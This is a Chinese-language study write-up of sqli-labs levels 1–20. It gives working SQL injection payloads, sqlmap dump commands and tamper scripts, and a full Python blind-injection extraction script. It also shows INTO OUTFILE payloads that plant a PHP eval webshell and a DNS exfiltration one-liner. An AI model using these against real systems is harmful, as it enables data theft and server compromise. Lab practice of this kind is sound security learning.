sqli-labs刷题
前言
花了两天时间,终于把sqli-lab前20关都刷完了!感觉之前只有朦胧的对sqli的印象,结果现在才知道我见过的只是get类型的union注入,最简单的那种(晕)。。。
了解和实践了很多注入手法,union,报错,延时,布尔.....前段时间面试实验室的时候其实还不了解就敢说自己懂(惭愧
《从0到1:CTFer成长之路》这本书我觉得很棒,希望能尽快看完!
我参考了很多师傅的wp以及相关文章,一并附在了文章结尾。那么,下面是我的题目总结,有一些没写或者简写,以及没有图片(还没想到怎样简化插入图片还能上传到网站的办法),如果观感不好请多担待。
sql注入基础思路
符号说明
| 运算符 | 类型 | 功能 | 标准性 | 适用场景 |
|---|---|---|---|---|
& |
位运算符 | 按位与运算或字符串连接 | 非通用(依数据库) | 二进制运算、特定数据库字符串拼接 |
&& |
逻辑运算符 | 逻辑与运算(短路) | 非标准(仅 MySQL) | MySQL 环境简化代码 |
AND |
逻辑运算符 | 逻辑与运算(短路) | 标准 SQL | 跨数据库兼容、复杂条件组合 |
数据库判断
参照(53 封私信) SQL注入如何判断数据库类型 - 知乎进行整理.
数据库判断的常见方式有:
前端与数据库类型
asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL
数据库特定的函数
-
len和length
len():SQL Server 、MySQL以及db2返回长度的函数。 length():Oracle和INFORMIX返回长度的函数。 -
version和@@version
version():MySQL查询版本信息的函数 @@version:MySQL和SQL Server查询版本信息的函数 -
substring和substr
MySQL两个函数都可以使用 Oracle只可调用substr SQL Server只可调用substring -
asc和ascii
类型判断
数字型:select * from table where id =$id
字符型:select * from table where id='$id'
加上'报错,再加上%23说明存在url注入点。
如果在id处输入3-1或6/3显示的结果和id=2是一致的,则是数字型,反之则是字符型。
less-1&less-2
less-1
http://www.sqli-lab.cn/Less-1/?id=1输入id=1+1,若返回结果与id=2一致,则为数字型,否则为字符型。http://sqli-labs/Less-1/?id=1+1并未显示,说明是字符型。
爆表名:http://localhost/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
爆列名:http://localhost/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
爆数据:http://localhost/Less-1/?id=-1' union select 1,password,username from users %23
less-2
less-2同样验证后可知是数字型,后续做法一致。
less-3&less-4
less-3
less-3的闭合为')。
less-4
less-3的闭合为")。
less-5&less-6
less-5开始不再正常有回显了,但仍然有报错。
盲注中的相关函数:
left(a,b):返回字符串a中最左边的b个字符。substr(a,b,c)`:从位置b开始截取a字符中的前c个字符。ascii():ascii转换,a-z的ascii值:97-122
less-5
布尔盲注
首先测试到闭合为'闭合,开始布尔盲注
http://localhost/Less-5/?id=1' and length(database())=8 %23得知数据库名长度为8。
- 然后开始猜解数据库的名称:
第一个字母:http://localhost/Less-5/?id=1' and substr(database(),1,1)='s' %23
第二个字母:http://localhost/Less-5/?id=1' and substr(database(),2,1)='e' %23
......(以此类推)
最终得到数据库名称为security。
(根据测试,输入错误函数会报错可直接得到当前库名:http://localhost/Less-5/?id=1' and subbstr(database(),1,1)='s' %23) - 猜解表名:
第一个字母:http://localhost/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e' %23
第一个字段:http://localhost/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,5)='email' %23
......
绵绵无期,是sqlmap登场的时候了!
sqlmap的使用
-
爆表:
python E:\myCTFTools\WebTools\sqlmap\sqlmap.py username=1&password=1-
--technique=B
指定注入类型为布尔 -
--technique=T
指定注入类型为延时 -
-D security
指定库 -
--tables
爆表名 -
--level=5
等级为5 -
--dbms=mysql
指定后端数据库类型
-
-
爆列:
python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security -T emails --columns --batch --level=5 -
数据:
python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security -T emails -C "usename,password" --dump --batch --level=5
post类型:python sqlmap.py -r test.txt -D ctf -T flags --dump --batch --level=5
--tamper 调用脚本
脚本:
脚本名称 作用说明
apostrophemask.py 将引号替换成UTF-8,用于过滤单引号
base64encode.py 替换成base64编码
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+号代替空格
nonrecursivereplacement.py 作为双重查询语句,用双重语句替换预定义的SQL关键字
space2randomblank.py 将空格替换为其他有效字符
unionalltounion.py 将union all select 替换成union select
securesphere.py 追加特制的字符串
space2hash.py 将空格替换为#号,并添加一个随机字符串和换行符
space2mssqlblank.py(mssql) 将空格替换成其他空符号
space2mssqlhash.py 将空格替换为#号,并添加一个换行符
between.py 用not between 0 and替换大于号,用between and替换等于号
percentage.py ASP允许每个字符前面添加%号
sp_password.py 从DBMS日志的自动模糊处理的有效载荷追加sp_password
charencode.py 对给定的payload全部字符使用URL编码
randomcase.py 随机大小写
charunicodeencode.py 字符串Unicode编码
space2comment.py 将空格替换成/**/
equaltolike.py 将等号替换为like
greatest.py 绕过对大于号的过滤,用GREATEST替换大于号
ifnull2ifsnull.py 绕过对ifnull的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py 过滤空格,使用MySQL内联注释的方式进行注入
space2mysqlblank.py 将空格替换为其他空白符号(适用于MySQL)
modsecurityzeroversioned.py 使用MySQL内联注释的方式进行注入
space2mysqlhash.py 将空格替换为–,并添加一个换行符
bluecoat.py 在SQL语句之后用有效的随机空白替换空格符,随后用like替换等于号
versionedkeywords.py 注释绕过
halfversionedmorekeywords.py当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
space2moreshash.py 将空格替换为#号,并添加一个随机字符串和换行符
apostrphenullencode.py 用非法双字节Unicode字符替换单引号
appendnullbyte.py 在有效负荷的结束位置加载零字节字符编码
chardoubleencode.py 对给定的payload全部字符使用双重url编码
unmagicquotes.py 用一个多字节组合和末尾通用注释一起替换空格
randomcomments.py 用/**/分割SQL关键字
盲注的python脚本:
import requests
import string
url = "http://challenge.qsnctf.com:39904/login.php"
characters = string.ascii_letters + string.digits + string.punctuation
def check_injection(payload):
"""检查注入是否成功"""
data = {"psw": payload, "uname": "admin"}
try:
resp = requests.post(url, data=data, timeout=10)
return "Login successful" in resp.text
except:
return False
# 1. 获取数据库名长度
print("[*] 获取数据库名长度...")
for i in range(1, 50):
payload = f"1' or length(database())={i}#"
if check_injection(payload):
db_length = i
print(f"[+] 数据库名长度: {db_length}")
break
# 2. 获取数据库名
print("[*] 获取数据库名...")
database_name = ""
for i in range(1, db_length + 1):
for char in characters:
payload = f"1' or substr(database(),{i},1)='{char}'#"
if check_injection(payload):
database_name += char
print(f"[+] 当前数据库名: {database_name}")
break
print(f"[+] 完整数据库名: {database_name}")
# 3. 获取表的数量
print("[*] 获取表的数量...")
for i in range(1, 20):
payload = f"1' or (select count(table_name) from information_schema.tables where table_schema='{database_name}')={i}#"
if check_injection(payload):
table_count = i
print(f"[+] 表的数量: {table_count}")
break
# 4. 获取每个表名
print("[*] 获取表名...")
tables = []
for table_idx in range(table_count):
# 获取表名长度
for i in range(1, 50):
payload = f"1' or length((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_idx},1))={i}#"
if check_injection(payload):
table_length = i
break
# 获取表名
table_name = ""
for i in range(1, table_length + 1):
for char in characters:
payload = f"1' or substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_idx},1),{i},1)='{char}'#"
if check_injection(payload):
table_name += char
break
tables.append(table_name)
print(f"[+] 表名 {table_idx + 1}: {table_name}")
# 5. 获取列名(以第一个表为例)
target_table = tables[0] # 可以修改选择其他表
print(f"[*] 获取表 {target_table} 的列名...")
columns = []
for col_idx in range(10): # 假设最多10列
# 获取列名长度
found = False
for i in range(1, 50):
payload = f"1' or length((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{target_table}' limit {col_idx},1))={i}#"
if check_injection(payload):
col_length = i
found = True
break
if not found:
break
# 获取列名
col_name = ""
for i in range(1, col_length + 1):
for char in characters:
payload = f"1' or substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{target_table}' limit {col_idx},1),{i},1)='{char}'#"
if check_injection(payload):
col_name += char
break
columns.append(col_name)
print(f"[+] 列名 {col_idx + 1}: {col_name}")
# 6. 提取数据(以第一列为例)
if columns:
target_column = columns[0] # 可以修改选择其他列
print(f"[*] 从 {target_table}.{target_column} 提取数据...")
for row_idx in range(10): # 提取前10行
# 获取数据长度
found = False
for i in range(1, 100):
payload = f"1' or length((select {target_column} from {target_table} limit {row_idx},1))={i}#"
if check_injection(payload):
data_length = i
found = True
break
if not found:
break
# 获取数据
data = ""
for i in range(1, data_length + 1):
for char in characters:
payload = f"1' or substr((select {target_column} from {target_table} limit {row_idx},1),{i},1)='{char}'#"
if check_injection(payload):
data += char
break
print(f"[+] 数据行 {row_idx + 1}: {data}")
print("[+] 盲注完成!")
报错注入
也可以使用报错注入。
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1) %23
回显XPATH syntax error: '~security~'
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
回显XPATH syntax error: '~emails,referers,uagents,users~'
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) %23
回显XPATH syntax error: '~id,username,password~'
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,':',password)) FROM users),1,32),0x7e),1) %23
less-6
同less-5,闭合方式不同。
less-7 into outlife&less-8
less-7
常见闭合:
'$id'
"$id"
('$id')
("$id")
(('id'))
测试为(('id'))闭合,into outlife写马连接,http://localhost/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['cmd']) ?>" INTO OUTFILE "E:/myCTFTools/range/sqli-labs/Less-7/shell.php" %23
不过在写入之前需要在mysql目录下的my.ini中加上secure_file_priv='\'开启写入权限。
less-8
同less-7
less-9 回显相同,时间盲注
less-10 同less-9,闭合不同
less-11 登录框 万能密码
admin' or 1=1 %23
直接在uname参数之后加上%23将后面注释掉,然后在那之后注入即可,步骤同less-1。
less-12
测试闭合为:passwd=admin&submit=Submit&uname=admin") %23
然后同less-11思路一致。
less-13
测试闭合为:admin')
但是只有报错,正确时无回显,所以判断为时间盲注或布尔盲注。
less-14
测试闭合为:admin"
less-15
测试闭合为:admin'
既无正确回显,也无报错。只能看出是否登陆成功。(时间,布尔,写马?(可,参考less-7 payload: passwd=admin&submit=Submit&uname=-1' union select 1,"<?php @eval($_POST['cmd']) ?>" INTO OUTFILE "E:/myCTFTools/range/sqli-labs/Less-15/shell.php" %23))
less-16
测试闭合为:passwd=admin&submit=Submit&uname=admin") %23
(时间,布尔,写马)
less-17 (修改密码界面 update注入点)
参数:passwd=admin&submit=Submit&uname=admin
修改密码想到后端会用到updete函数,查看源码果真如此,
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
爆表名:
payload为:
passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin
时总是报错为:Truncated incorrect DOUBLE value: 'admin'。这是因为updatexml()会返回布尔值为double类型,同时会把前面的admin强转为double失败导致报错。
改为1':
passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin
则是成功的。
爆字段:
passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin
爆数据:
passwd=1' and updatexml(1,concat(0x7e,(select concat(password,':',username) from users),0x7e),1) %23&submit=Submit&uname=admin
此时会抛出错误:You can't specify target table 'users' for update in FROM clause这是因为在原语句中已经正在使用这张表了,而子查询中的SELECT ... FROM users也引用了同一张表,导致MySQL拒绝执行。
此时只需要用AS大法即可!
passwd=1' and updatexml(1,concat(0x7e,(select group_concat(concat(password,':',username)) from (select * from users) AS a),0x7e),1) %23&submit=Submit&uname=admin
但是会发现显示不全。这时就应该用相关函数分段显示了,substr(), mid(),left(), right()......等都可以。
示例:
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,':',password)) FROM (SELECT * FROM users) AS a),1,32),0x7e),1) %23
我尝试了用sqlmap来dump下来less-17的users表,但是失败了,这是为什么?(不太清楚,要么是无数据,要么是空表)
[18:28:38] [INFO] adjusting time delay to 2 seconds due to good response times
3
Database: security
Table: users
[13 entries]
+------+----------+----------+
| id | password | username |
+------+----------+----------+
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
+------+----------+----------+
[18:28:41] [INFO] table '`security`.users' dumped to CSV file 'C:\Users\Lenovo\AppData\Local\sqlmap\output\127.0.0.1\dump\security\users.csv'
[18:28:41] [INFO] fetched data logged to text files under 'C:\Users\Lenovo\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 18:28:41 /2025-03-16/
E:\myCTFTools\WebTools\sqlmap>
less-18(报错,延时盲注 User-Agent注入点)
PHP 里用来获取客户端 IP 的变量
$_SERVER['HTTP_CLIENT_IP'] #这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR'] #客户端可以伪造。
$_SERVER['REMOTE_ADDR'] #客户端不能伪造。
User-Agent: 1'报错
看到报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1
推测有三个值,构造如下:
User-Agent: 1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #
less-19(报错,延时盲注 Referer注入点)
Referer: 1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #
less-20(报错,延时盲注 Cookie注入点)
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
一些补充
sqlite判断
username=admin&password=1' union select 1,2,(select sql from sqlite_master)--
表
1%' union select 1, group_concat(tbl_name), 3 from sqlite_master --
mysql内置库
mysql,sys,performance_schema,information_schema
其中最重要的是information_schema里面的三张表,schemata、tables、columns
分别存储库名,表名,字段名。schemata中对应的是schema_name字段;tables中是table_name,可以通过table_schema即对应的数据库名来获取;
mysql DNS外带,select load_file('\\\\www.baidu.com');
参考文章:
https://www.anquanke.com/post/id/266244
https://www.cnblogs.com/-qing-/p/11610385.html
从0到1:CTFer成长之路(其中的sqli部分)
sqli-labs-less-5布尔盲注+错误注入(超详细,小白专属)
Sqlmap使用教程【个人笔记精华整理】
SQLI-LABS(Less-7)
sqli-labs less-7 一句话木马
最适合POST型SQL注入小白之sqli-labs靶场(less-17~less-21:POST手动注入和sqlmap自动注入)
sqli-labs 靶场 1-65 通关记
sqli-labs 通关指南:Less 18、19

浙公网安备 33010602011771号